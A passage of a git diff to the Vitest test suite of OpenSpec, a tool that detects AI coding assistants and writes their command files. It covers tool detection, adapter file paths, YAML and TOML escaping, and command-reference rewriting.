'Next: $openspec-apply-change' + ); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.symlink( + outsideDir, + path.join(legacySkills, 'openspec-explore'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toEqual(['codex']); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('should not let an unknown legacy skill supersede the shared agents target', async () => { + await fs.mkdir(path.join(testDir, '.agents', 'skills'), { recursive: true }); + await fs.writeFile(path.join(testDir, '.agents', 'skills', '.openspec-target'), 'agents\n'); + const customSkill = path.join( + testDir, + '.codex', + 'skills', + 'openspec-personal', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(customSkill), { recursive: true }); + await fs.writeFile(customSkill, 'user skill'); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toContain('agents'); + expect(tools.map((tool) => tool.value)).not.toContain('codex'); }); it('should return full AIToolOption objects', async () => { @@ -140,6 +349,42 @@ describe('available-tools', () => { expect(toolValues).toContain('github-copilot'); }); + it('should detect Hermes Agent when HERMES.md exists', async () => { + await fs.writeFile(path.join(testDir, 'HERMES.md'), ''); + + const tools = getAvailableTools(testDir); + const hermesTool = tools.find((t) => t.value === 'hermes'); + + expect(hermesTool).toMatchObject({ + name: 'Hermes Agent', + skillsDir: '.hermes', + }); + }); + + it('should detect Hermes Agent when .hermes.md exists', async () => { + await fs.writeFile(path.join(testDir, '.hermes.md'), ''); + + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).toContain('hermes'); + }); + + it('should detect Hermes Agent when .hermes directory exists', async () => { + await fs.mkdir(path.join(testDir, '.hermes'), { recursive: true }); + + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).toContain('hermes'); + }); + + it('should not detect Hermes Agent from plain CONTEXT.md', async () => { + await fs.writeFile(path.join(testDir, 'CONTEXT.md'), ''); + + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).not.toContain('hermes'); + }); + it('should still use skillsDir detection for tools without detectionPaths', async () => { // Claude Code has no detectionPaths, so .claude/ directory should still work await fs.mkdir(path.join(testDir, '.claude'), { recursive: true }); @@ -148,5 +393,87 @@ describe('available-tools', () => { const toolValues = tools.map((t) => t.value); expect(toolValues).toContain('claude'); }); + + it('should detect Mistral Vibe when .vibe directory exists', async () => { + // Mistral Vibe uses skillsDir: '.vibe' without detectionPaths + // This test ensures path semantics do not drift for Vibe skill detection + await fs.mkdir(path.join(testDir, '.vibe'), { recursive: true }); + + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).toContain('vibe'); + + const vibeTool = tools.find((t) => t.value === 'vibe'); + expect(vibeTool).toBeDefined(); + expect(vibeTool?.name).toBe('Mistral Vibe'); + expect(vibeTool?.skillsDir).toBe('.vibe'); + }); + + it('should detect CodeArts when .codeartsdoer directory exists', async () => { + await fs.mkdir(path.join(testDir, '.codeartsdoer'), { recursive: true }); + + const tools = getAvailableTools(testDir); + const codeArtsTool = tools.find((t) => t.value === 'codeartsagent'); + expect(codeArtsTool).toMatchObject({ + name: 'CodeArts', + value: 'codeartsagent', + available: true, + skillsDir: '.codeartsdoer', + }); + }); + + it('should not detect CodeArts when .codeartsdoer directory does not exist', () => { + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).not.toContain('codeartsagent'); + }); + + it('should detect ZCode when .zcode directory exists', async () => { + await fs.mkdir(path.join(testDir, '.zcode'), { recursive: true }); + + const tools = getAvailableTools(testDir); + const zcode = tools.find((t) => t.value === 'zcode'); + expect(zcode).toBeDefined(); + expect(zcode?.name).toBe('ZCode'); + expect(zcode?.skillsDir).toBe('.zcode'); + }); + + it('should not detect ZCode from a bare .agents directory', async () => { + // .agents is a generic directory used by many agent frameworks; a bare + // .agents must not trigger ZCode detection (mirrors the Copilot bare-.github rule). + await fs.mkdir(path.join(testDir, '.agents'), { recursive: true }); + + const tools = getAvailableTools(testDir); + expect(tools.map((t) => t.value)).not.toContain('zcode'); + }); + + it('should detect ZCode from .zcode even when .agents is also present', async () => { + // A co-located .agents must not suppress real ZCode detection via .zcode + await fs.mkdir(path.join(testDir, '.zcode'), { recursive: true }); + await fs.mkdir(path.join(testDir, '.agents'), { recursive: true }); + + const zcodeTools = getAvailableTools(testDir).filter((t) => t.value === 'zcode'); + expect(zcodeTools).toHaveLength(1); + }); + + it('should not detect ZCode when .zcode is absent', async () => { + const tools = getAvailableTools(testDir); + expect(tools.map((t) => t.value)).not.toContain('zcode'); + }); + + it('should detect Oh My Pi when .omp directory exists', async () => { + // Oh My Pi uses skillsDir: '.omp' without detectionPaths + // This test ensures path semantics do not drift for Oh My Pi skill detection + await fs.mkdir(path.join(testDir, '.omp'), { recursive: true }); + + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).toContain('oh-my-pi'); + + const ohMyPiTool = tools.find((t) => t.value === 'oh-my-pi'); + expect(ohMyPiTool).toBeDefined(); + expect(ohMyPiTool?.name).toBe('Oh My Pi'); + expect(ohMyPiTool?.skillsDir).toBe('.omp'); + }); }); }); diff --git a/test/core/command-generation/adapters.test.ts b/test/core/command-generation/adapters.test.ts index b91dc024fb..f4d946e565 100644 --- a/test/core/command-generation/adapters.test.ts +++ b/test/core/command-generation/adapters.test.ts @@ -1,5 +1,4 @@ import { describe, it, expect } from 'vitest'; -import os from 'os'; import path from 'path'; import { amazonQAdapter } from '../../../src/core/command-generation/adapters/amazon-q.js'; import { antigravityAdapter } from '../../../src/core/command-generation/adapters/antigravity.js'; @@ -7,24 +6,36 @@ import { auggieAdapter } from '../../../src/core/command-generation/adapters/aug import { bobAdapter } from '../../../src/core/command-generation/adapters/bob.js'; import { claudeAdapter } from '../../../src/core/command-generation/adapters/claude.js'; import { clineAdapter } from '../../../src/core/command-generation/adapters/cline.js'; -import { codexAdapter } from '../../../src/core/command-generation/adapters/codex.js'; import { codebuddyAdapter } from '../../../src/core/command-generation/adapters/codebuddy.js'; import { continueAdapter } from '../../../src/core/command-generation/adapters/continue.js'; import { costrictAdapter } from '../../../src/core/command-generation/adapters/costrict.js'; import { crushAdapter } from '../../../src/core/command-generation/adapters/crush.js'; import { cursorAdapter } from '../../../src/core/command-generation/adapters/cursor.js'; +import { devinAdapter } from '../../../src/core/command-generation/adapters/devin.js'; import { factoryAdapter } from '../../../src/core/command-generation/adapters/factory.js'; import { geminiAdapter } from '../../../src/core/command-generation/adapters/gemini.js'; import { githubCopilotAdapter } from '../../../src/core/command-generation/adapters/github-copilot.js'; import { iflowAdapter } from '../../../src/core/command-generation/adapters/iflow.js'; +import { junieAdapter } from '../../../src/core/command-generation/adapters/junie.js'; import { kilocodeAdapter } from '../../../src/core/command-generation/adapters/kilocode.js'; +import { kiroAdapter } from '../../../src/core/command-generation/adapters/kiro.js'; +import { lingmaAdapter } from '../../../src/core/command-generation/adapters/lingma.js'; +import { ohMyPiAdapter } from '../../../src/core/command-generation/adapters/oh-my-pi.js'; import { opencodeAdapter } from '../../../src/core/command-generation/adapters/opencode.js'; import { piAdapter } from '../../../src/core/command-generation/adapters/pi.js'; import { qoderAdapter } from '../../../src/core/command-generation/adapters/qoder.js'; import { qwenAdapter } from '../../../src/core/command-generation/adapters/qwen.js'; import { roocodeAdapter } from '../../../src/core/command-generation/adapters/roocode.js'; -import { windsurfAdapter } from '../../../src/core/command-generation/adapters/windsurf.js'; -import type { CommandContent } from '../../../src/core/command-generation/types.js'; +import { traeAdapter } from '../../../src/core/command-generation/adapters/trae.js'; +import { zcodeAdapter } from '../../../src/core/command-generation/adapters/zcode.js'; +import type { + CommandContent, + ToolCommandAdapter, +} from '../../../src/core/command-generation/types.js'; +import { CommandAdapterRegistry } from '../../../src/core/command-generation/registry.js'; +import { generateCommand } from '../../../src/core/command-generation/generator.js'; +import { parse as parseYaml } from 'yaml'; +import { parse as parseToml } from 'smol-toml'; describe('command-generation/adapters', () => { const sampleContent: CommandContent = { @@ -55,10 +66,11 @@ describe('command-generation/adapters', () => { const output = claudeAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: OpenSpec Explore'); - expect(output).toContain('description: Enter explore mode for thinking'); - expect(output).toContain('category: Workflow'); - expect(output).toContain('tags: [workflow, explore, experimental]'); + expect(output).toContain('name: "OpenSpec Explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('allowed-tools: Bash(openspec:*)'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('tags: ["workflow", "explore", "experimental"]'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.\n\nWith multiple lines.'); }); @@ -89,10 +101,10 @@ describe('command-generation/adapters', () => { const output = cursorAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: /opsx-explore'); - expect(output).toContain('id: opsx-explore'); - expect(output).toContain('category: Workflow'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('name: "/opsx-explore"'); + expect(output).toContain('id: "opsx-explore"'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -103,27 +115,41 @@ describe('command-generation/adapters', () => { }); }); - describe('windsurfAdapter', () => { + describe('devinAdapter', () => { it('should have correct toolId', () => { - expect(windsurfAdapter.toolId).toBe('windsurf'); + expect(devinAdapter.toolId).toBe('devin'); }); it('should generate correct file path', () => { - const filePath = windsurfAdapter.getFilePath('explore'); - expect(filePath).toBe(path.join('.windsurf', 'workflows', 'opsx-explore.md')); + const filePath = devinAdapter.getFilePath('explore'); + expect(filePath).toBe(path.join('.devin', 'workflows', 'opsx-explore.md')); }); - it('should format file similar to Claude format', () => { - const output = windsurfAdapter.formatFile(sampleContent); + it('should format file with YAML frontmatter', () => { + const output = devinAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: OpenSpec Explore'); - expect(output).toContain('description: Enter explore mode for thinking'); - expect(output).toContain('category: Workflow'); - expect(output).toContain('tags: [workflow, explore, experimental]'); + expect(output).toContain('name: "OpenSpec Explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('tags: ["workflow", "explore", "experimental"]'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); + + // The body's `/opsx:*` references are rewritten to the `/opsx-*` form + // Devin registers by the generator, not here — adapters are pure + // formatters. Covered for devin in invocation.test.ts. + + // Frontmatter escaping comes from the shared yaml.ts helpers and is + // covered for every registered adapter by the round-trip matrix in + // "YAML frontmatter escaping across adapters" below. + + it('should handle empty tags', () => { + const contentNoTags: CommandContent = { ...sampleContent, tags: [] }; + const output = devinAdapter.formatFile(contentNoTags); + expect(output).toContain('tags: []'); + }); }); describe('amazonQAdapter', () => { @@ -139,7 +165,7 @@ describe('command-generation/adapters', () => { it('should format file with description frontmatter', () => { const output = amazonQAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -158,7 +184,7 @@ describe('command-generation/adapters', () => { it('should format file with description frontmatter', () => { const output = antigravityAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -177,7 +203,7 @@ describe('command-generation/adapters', () => { it('should format file with description and argument-hint', () => { const output = auggieAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('argument-hint: command arguments'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); @@ -203,18 +229,18 @@ describe('command-generation/adapters', () => { it('should format file with description and argument-hint frontmatter', () => { const output = bobAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('argument-hint: command arguments'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.\n\nWith multiple lines.'); }); - it('should transform colon command references to hyphen format', () => { + it('is generated by generateCommand with hyphen command references', () => { const contentWithRefs: CommandContent = { ...sampleContent, body: 'Run /opsx:apply to implement. Then use /opsx:verify.', }; - const output = bobAdapter.formatFile(contentWithRefs); + const output = generateCommand(contentWithRefs, bobAdapter).fileContent; expect(output).toContain('/opsx-apply'); expect(output).toContain('/opsx-verify'); expect(output).not.toContain('/opsx:apply'); @@ -245,7 +271,7 @@ describe('command-generation/adapters', () => { description: '', }; const output = bobAdapter.formatFile(contentEmptyDesc); - expect(output).toContain('description: \n'); + expect(output).toContain('description: ""'); }); }); @@ -268,60 +294,6 @@ describe('command-generation/adapters', () => { }); }); - describe('codexAdapter', () => { - it('should have correct toolId', () => { - expect(codexAdapter.toolId).toBe('codex'); - }); - - it('should return an absolute path', () => { - const filePath = codexAdapter.getFilePath('explore'); - expect(path.isAbsolute(filePath)).toBe(true); - }); - - it('should generate path ending with correct structure', () => { - const filePath = codexAdapter.getFilePath('explore'); - expect(filePath).toMatch(/prompts[/\\]opsx-explore\.md$/); - }); - - it('should default to homedir/.codex', () => { - const original = process.env.CODEX_HOME; - delete process.env.CODEX_HOME; - try { - const filePath = codexAdapter.getFilePath('explore'); - const expected = path.join(os.homedir(), '.codex', 'prompts', 'opsx-explore.md'); - expect(filePath).toBe(expected); - } finally { - if (original !== undefined) { - process.env.CODEX_HOME = original; - } - } - }); - - it('should respect CODEX_HOME env var', () => { - const original = process.env.CODEX_HOME; - process.env.CODEX_HOME = '/custom/codex-home'; - try { - const filePath = codexAdapter.getFilePath('explore'); - expect(filePath).toBe(path.join(path.resolve('/custom/codex-home'), 'prompts', 'opsx-explore.md')); - } finally { - if (original !== undefined) { - process.env.CODEX_HOME = original; - } else { - delete process.env.CODEX_HOME; - } - } - }); - - it('should format file with description and argument-hint', () => { - const output = codexAdapter.formatFile(sampleContent); - expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); - expect(output).toContain('argument-hint: command arguments'); - expect(output).toContain('---\n\n'); - expect(output).toContain('This is the command body.'); - }); - }); - describe('codebuddyAdapter', () => { it('should have correct toolId', () => { expect(codebuddyAdapter.toolId).toBe('codebuddy'); @@ -335,7 +307,7 @@ describe('command-generation/adapters', () => { it('should format file with name, description, and argument-hint', () => { const output = codebuddyAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: OpenSpec Explore'); + expect(output).toContain('name: "OpenSpec Explore"'); expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('argument-hint: "[command arguments]"'); expect(output).toContain('---\n\n'); @@ -356,8 +328,8 @@ describe('command-generation/adapters', () => { it('should format file with name, description, and invokable', () => { const output = continueAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: opsx-explore'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('name: "opsx-explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('invokable: true'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); @@ -397,10 +369,10 @@ describe('command-generation/adapters', () => { it('should format file with name, description, category, and tags', () => { const output = crushAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: OpenSpec Explore'); - expect(output).toContain('description: Enter explore mode for thinking'); - expect(output).toContain('category: Workflow'); - expect(output).toContain('tags: [workflow, explore, experimental]'); + expect(output).toContain('name: "OpenSpec Explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('tags: ["workflow", "explore", "experimental"]'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -419,7 +391,7 @@ describe('command-generation/adapters', () => { it('should format file with description and argument-hint', () => { const output = factoryAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('argument-hint: command arguments'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); @@ -443,6 +415,55 @@ describe('command-generation/adapters', () => { expect(output).toContain('This is the command body.'); expect(output).toContain('"""'); }); + + it('escapes TOML-active characters in the description', () => { + const output = geminiAdapter.formatFile({ + ...sampleContent, + description: 'Say "hi" to C:\\Users and\nmore', + }); + // Basic strings are escape-active: quotes, backslashes, and newlines + // must be written as escapes or the file stops parsing as TOML. + expect(output).toContain('description = "Say \\"hi\\" to C:\\\\Users and\\nmore"'); + expect((parseToml(output) as { description: string }).description).toBe( + 'Say "hi" to C:\\Users and\nmore' + ); + }); + + it('keeps the prompt a single multiline string when the body carries fences and backslashes', () => { + const body = 'Windows path C:\\temp and a quote run: """ done'; + const output = geminiAdapter.formatFile({ ...sampleContent, body }); + // Backslashes must be escaped and no unescaped quote-triple may remain, + // or the """ delimiter ends the prompt early. + expect(output).toContain('C:\\\\temp'); + expect(output).toContain('""\\" done'); + const delimiters = output.match(/(?<!\\)"""/g) ?? []; + expect(delimiters).toHaveLength(2); + expect((parseToml(output) as { prompt: string }).prompt).toBe(`${body}\n`); + }); + + // Escaping claims are only proven by a real parser: every hostile body + // must yield a file smol-toml accepts, and the parsed prompt must + // round-trip to the original (modulo CRLF normalization). + const HOSTILE_BODIES: Array<[string, string, string]> = [ + ['control characters', 'null:\u0000 vt:\u000b ff:\u000c end', 'null:\u0000 vt:\u000b ff:\u000c end'], + // A lone CR is illegal raw in a multiline basic string (only LF and + // CRLF may appear); Python tomllib rejects it — so must never be + // emitted bare. + ['a lone carriage return', 'a\rb', 'a\rb'], + ['CRLF line endings (normalized to LF)', 'line one\r\nline two\r\n', 'line one\nline two\n'], + ['a CR before a quote run', 'x\r""" y', 'x\r""" y'], + ['a trailing backslash', 'ends with a backslash \\', 'ends with a backslash \\'], + ['quote runs of four and five', 'four """" five """""', 'four """" five """""'], + ]; + + for (const [label, body, expected] of HOSTILE_BODIES) { + it(`emits parseable TOML for a body with ${label}`, () => { + const output = geminiAdapter.formatFile({ ...sampleContent, body }); + const parsed = parseToml(output) as { description: string; prompt: string }; + expect(parsed.prompt).toBe(`${expected}\n`); + expect(parsed.description).toBe(sampleContent.description); + }); + } }); describe('githubCopilotAdapter', () => { @@ -458,7 +479,7 @@ describe('command-generation/adapters', () => { it('should format file with description frontmatter', () => { const output = githubCopilotAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -477,10 +498,10 @@ describe('command-generation/adapters', () => { it('should format file with name, id, category, and description', () => { const output = iflowAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: /opsx-explore'); - expect(output).toContain('id: opsx-explore'); - expect(output).toContain('category: Workflow'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('name: "/opsx-explore"'); + expect(output).toContain('id: "opsx-explore"'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -516,24 +537,24 @@ describe('command-generation/adapters', () => { it('should format file with description frontmatter', () => { const output = opencodeAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); - it('should transform colon-based command references to hyphen-based', () => { + it('is generated by generateCommand with hyphen command references', () => { const contentWithCommands: CommandContent = { ...sampleContent, body: 'Use /opsx:new to start, then /opsx:apply to implement.', }; - const output = opencodeAdapter.formatFile(contentWithCommands); + const output = generateCommand(contentWithCommands, opencodeAdapter).fileContent; expect(output).toContain('/opsx-new'); expect(output).toContain('/opsx-apply'); expect(output).not.toContain('/opsx:new'); expect(output).not.toContain('/opsx:apply'); }); - it('should handle multiple command references in body', () => { + it('is generated by generateCommand with every reference hyphenated', () => { const contentWithMultipleCommands: CommandContent = { ...sampleContent, body: `/opsx:explore for ideas @@ -541,7 +562,7 @@ describe('command-generation/adapters', () => { /opsx:continue to proceed /opsx:apply to implement`, }; - const output = opencodeAdapter.formatFile(contentWithMultipleCommands); + const output = generateCommand(contentWithMultipleCommands, opencodeAdapter).fileContent; expect(output).toContain('/opsx-explore'); expect(output).toContain('/opsx-new'); expect(output).toContain('/opsx-continue'); @@ -562,10 +583,10 @@ describe('command-generation/adapters', () => { it('should format file with name, description, category, and tags', () => { const output = qoderAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('name: OpenSpec Explore'); - expect(output).toContain('description: Enter explore mode for thinking'); - expect(output).toContain('category: Workflow'); - expect(output).toContain('tags: [workflow, explore, experimental]'); + expect(output).toContain('name: "OpenSpec Explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('category: "Workflow"'); + expect(output).toContain('tags: ["workflow", "explore", "experimental"]'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); @@ -576,17 +597,38 @@ describe('command-generation/adapters', () => { expect(qwenAdapter.toolId).toBe('qwen'); }); - it('should generate correct file path with .toml extension', () => { + it('should generate correct file path with .md extension', () => { const filePath = qwenAdapter.getFilePath('explore'); - expect(filePath).toBe(path.join('.qwen', 'commands', 'opsx-explore.toml')); + expect(filePath).toBe(path.join('.qwen', 'commands', 'opsx-explore.md')); }); - it('should format file in TOML format', () => { + it('should format file with description frontmatter', () => { const output = qwenAdapter.formatFile(sampleContent); - expect(output).toContain('description = "Enter explore mode for thinking"'); - expect(output).toContain('prompt = """'); + expect(output).toContain('---\n'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); - expect(output).toContain('"""'); + }); + + it('should escape special YAML characters in description', () => { + const output = qwenAdapter.formatFile({ + ...sampleContent, + description: 'Review: plan & apply "changes"', + }); + expect(output).toContain('description: "Review: plan & apply \\"changes\\""'); + }); + + it('is generated by generateCommand with hyphen command references', () => { + // Qwen commands are invoked by filename (/opsx-<id>), like bob/opencode. + const contentWithRefs: CommandContent = { + ...sampleContent, + body: 'Run /opsx:apply to implement. Then use /opsx:archive.', + }; + const output = generateCommand(contentWithRefs, qwenAdapter).fileContent; + expect(output).toContain('/opsx-apply'); + expect(output).toContain('/opsx-archive'); + expect(output).not.toContain('/opsx:apply'); + expect(output).not.toContain('/opsx:archive'); }); }); @@ -608,18 +650,18 @@ describe('command-generation/adapters', () => { it('should format file with description frontmatter', () => { const output = piAdapter.formatFile(sampleContent); expect(output).toContain('---\n'); - expect(output).toContain('description: Enter explore mode for thinking'); + expect(output).toContain('description: "Enter explore mode for thinking"'); expect(output).toContain('---\n\n'); expect(output).toContain('This is the command body.'); }); - it('should transform command references from colon to hyphen format', () => { + it('is generated by generateCommand with hyphen command references', () => { const contentWithRefs: CommandContent = { ...sampleContent, body: 'Run /opsx:apply to implement. Then /opsx:archive when done.', }; - const output = piAdapter.formatFile(contentWithRefs); + const output = generateCommand(contentWithRefs, piAdapter).fileContent; expect(output).toContain('/opsx-apply'); expect(output).toContain('/opsx-archive'); expect(output).not.toContain('/opsx:apply'); @@ -654,6 +696,96 @@ describe('command-generation/adapters', () => { }); }); + describe('ohMyPiAdapter', () => { + it('should have correct toolId', () => { + expect(ohMyPiAdapter.toolId).toBe('oh-my-pi'); + }); + + it('should generate correct file path', () => { + const filePath = ohMyPiAdapter.getFilePath('explore'); + expect(filePath).toBe(path.join('.omp', 'commands', 'opsx-explore.md')); + }); + + it('should generate correct file paths for different commands', () => { + expect(ohMyPiAdapter.getFilePath('new')).toBe(path.join('.omp', 'commands', 'opsx-new.md')); + expect(ohMyPiAdapter.getFilePath('bulk-archive')).toBe(path.join('.omp', 'commands', 'opsx-bulk-archive.md')); + }); + + it('should format file with description frontmatter', () => { + const output = ohMyPiAdapter.formatFile(sampleContent); + expect(output).toContain('---\n'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('---\n\n'); + expect(output).toContain('This is the command body.'); + }); + + it('is generated by generateCommand with hyphen command references', () => { + const contentWithRefs: CommandContent = { + ...sampleContent, + body: 'Run /opsx:apply to implement. Then /opsx:archive when done.', + }; + const output = generateCommand(contentWithRefs, ohMyPiAdapter).fileContent; + expect(output).toContain('/opsx-apply'); + expect(output).toContain('/opsx-archive'); + expect(output).not.toContain('/opsx:apply'); + }); + + it('should escape YAML special characters in description', () => { + const contentWithSpecialChars: CommandContent = { + ...sampleContent, + description: 'Fix: regression in "auth" feature', + }; + const output = ohMyPiAdapter.formatFile(contentWithSpecialChars); + expect(output).toContain('description: "Fix: regression in \\"auth\\" feature"'); + }); + + it('should escape newlines in description', () => { + const contentWithNewline: CommandContent = { + ...sampleContent, + description: 'Line 1\nLine 2', + }; + const output = ohMyPiAdapter.formatFile(contentWithNewline); + expect(output).toContain('description: "Line 1\\nLine 2"'); + }); + + it('should inject $@ after **Input**: heading when not already present', () => { + const contentWithInput: CommandContent = { + ...sampleContent, + body: '**Input**: The argument is the change name.\n\nDo the work.', + }; + const output = ohMyPiAdapter.formatFile(contentWithInput); + expect(output).toContain('**Input**: The argument is the change name.\n**Provided arguments**: $@'); + }); + + it('injects $@ alongside generateCommand\'s hyphen rewrite', () => { + const contentWithInput: CommandContent = { + ...sampleContent, + body: '**Input**: The argument is the change name.\n\nRun /opsx:apply.', + }; + const output = generateCommand(contentWithInput, ohMyPiAdapter).fileContent; + expect(output).toContain('**Provided arguments**: $@'); + expect(output).toContain('/opsx-apply'); + }); + + it('should not inject $@ when $@ is already present in the body', () => { + const contentWithArgs: CommandContent = { + ...sampleContent, + body: '**Input**: Accepts arguments.\n\nUser said: $@', + }; + const output = ohMyPiAdapter.formatFile(contentWithArgs); + expect(output.match(/\$@/g)?.length).toBe(1); + }); + + it('should not inject $@ when $ARGUMENTS is already present in the body', () => { + const contentWithArguments: CommandContent = { + ...sampleContent, + body: '**Input**: Accepts arguments.\n\nUser said: $ARGUMENTS', + }; + const output = ohMyPiAdapter.formatFile(contentWithArguments); + expect(output).not.toContain('$@'); + }); + }); + describe('roocodeAdapter', () => { it('should have correct toolId', () => { expect(roocodeAdapter.toolId).toBe('roocode'); @@ -673,6 +805,184 @@ describe('command-generation/adapters', () => { }); }); + describe('traeAdapter', () => { + it('should have correct toolId', () => { + expect(traeAdapter.toolId).toBe('trae'); + }); + + it('should generate correct file path', () => { + const filePath = traeAdapter.getFilePath('explore'); + expect(filePath).toBe(path.join('.trae', 'commands', 'opsx-explore.md')); + }); + + it('should generate correct file paths for different commands', () => { + expect(traeAdapter.getFilePath('new')).toBe(path.join('.trae', 'commands', 'opsx-new.md')); + expect(traeAdapter.getFilePath('bulk-archive')).toBe(path.join('.trae', 'commands', 'opsx-bulk-archive.md')); + }); + + it('should format file with name and description frontmatter', () => { + const output = traeAdapter.formatFile(sampleContent); + + expect(output).toContain('---\n'); + expect(output).toContain('name: "OpenSpec Explore"'); + expect(output).toContain('description: "Enter explore mode for thinking"'); + expect(output).toContain('---\n\n'); + expect(output).toContain('This is the command body.\n\nWith multiple lines.'); + }); + + it('should escape YAML special characters in name', () => { + const contentWithSpecialChars: CommandContent = { + ...sampleContent, + name: 'Test: Command', + }; + const output = traeAdapter.formatFile(contentWithSpecialChars); + expect(output).toContain('name: "Test: Command"'); + }); + + it('should escape YAML special characters in description', () => { + const contentWithSpecialChars: CommandContent = { + ...sampleContent, + description: 'Fix: regression in "auth" feature', + }; + const output = traeAdapter.formatFile(contentWithSpecialChars); + expect(output).toContain('description: "Fix: regression in \\"auth\\" feature"'); + }); + + it('should escape newlines in description', () => { + const contentWithNewline: CommandContent = { + ...sampleContent, + description: 'Line 1\nLine 2', + }; + const output = traeAdapter.formatFile(contentWithNewline); + expect(output).toContain('description: "Line 1\\nLine 2"'); + }); + + it('should handle empty description', () => { + const contentEmptyDesc: CommandContent = { + ...sampleContent, + description: '', + }; + const output = traeAdapter.formatFile(contentEmptyDesc); + expect(output).toContain('description: ""'); + }); + + it('should escape carriage returns in description', () => { + const contentWithCR: CommandContent = { + ...sampleContent, + description: 'Line 1\r\nLine 2', + }; + const output = traeAdapter.formatFile(contentWithCR); + expect(output).toContain('description: "Line 1\\r\\nLine 2"'); + }); + }); + + describe('zcodeAdapter', () => { + it('should have correct toolId', () => { + expect(zcodeAdapter.toolId).toBe('zcode'); + }); + + it('should generate correct file path under .zcode/commands/opsx', () => { + const filePath = zcodeAdapter.getFilePath('explore'); + expect(filePath).toBe(path.join('.zcode', 'commands', 'opsx', 'explore.md')); + }); + + it('should generate correct file paths for different command IDs', () => { + expect(zcodeAdapter.getFilePath('new')).toBe(path.join('.zcode', 'commands', 'opsx', 'new.md')); + expect(zcodeAdapter.getFilePath('bulk-archive')).toBe(path.join('.zcode', 'commands', 'opsx', 'bulk-archive.md')); + }); + + it('should keep command paths under .zcode and never reference .agents', () => { + for (const id of ['explore', 'new', 'apply', 'sync', 'archive', 'bulk-archive']) { + const filePath = zcodeAdapter.getFilePath(id); + expect(filePath).toContain('.zcode'); + expect(filePath).not.toContain('.agents'); + } + }); + + it('should format file with name, description, category, 